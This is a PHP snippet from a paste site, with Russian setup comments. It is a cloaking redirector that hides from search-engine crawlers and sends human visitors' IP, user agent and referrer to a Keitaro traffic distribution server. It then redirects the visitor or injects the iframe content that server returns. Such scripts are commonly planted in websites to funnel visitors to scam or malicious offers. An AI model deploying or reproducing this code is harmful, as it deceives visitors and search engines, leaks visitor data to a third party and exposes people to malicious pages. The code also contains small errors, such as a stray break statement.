· 6 years ago · Oct 19, 2019, 05:02 PM
1<?php
2error_reporting(0);
3$host=gethostbyaddr($_SERVER['REMOTE_ADDR']);
4if (!empty($_SERVER['HTTP_USER_AGENT']) && !preg_match('#google|spider|bing|bot|yahoo|aol|yandex|crawl|ask|hrefs#i', $_SERVER['HTTP_USER_AGENT'])) {
5if (!preg_match('#google|msn|bing|ask|yahoo|aol|yandex|spider|crawl|hrefs#i', $host )) {
6$ua = urlencode($_SERVER['HTTP_USER_AGENT']);
7$ip = null;
8$headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR');
9foreach ($headers as $header) {
10if (!empty($_SERVER[$header])) {
11$ip = $_SERVER[$header];
12//echo $ip;
13break;
14}
15}
16if (strstr($ip, ',')) {
17$tmp = explode(',', $ip);
18if (isset($_SERVER['HTTP_USER_AGENT']) && stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) {
19$ip = trim($tmp[count($tmp) - 2]);
20} else {
21$ip = trim($tmp[0]);
22}
23}
24$api = 'http://tds/api.php?'; //заменяете tds.com на ваш домен где установлена тдс.
25$scheme = 'offer'; // указываете идентификатор группы
26$apikey = 'Keitaro API key'; //указываете ключ API от тдс (настройки - API - Keitaro API key)
27$source = urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);
28$referrer = urlencode($_SERVER['HTTP_REFERER']);
29$churl = "{$api}action=get_link&api_key=$apikey&charset=utf-8&group=$scheme&source=$source&referrer=$referrer&ip=$ip&ua=$ua&keyword=$keyword";
30$check = file_get_contents($churl);
31$json = json_decode($check);
32if ($json->{'bot_action'}->{'text'} == 'y') {
33} else {
34 $out = $json->{'redirect'}->{'type'};
35 if($out=='iframe'){
36 $goaway = $json->{'redirect'}->{'content'};
37 echo $goaway;
38 break;
39 }else{
40$goaway = $json->{'stream'}->{'url'};
41header('Location: '.$goaway);
42 }
43}
44}
45}
46?>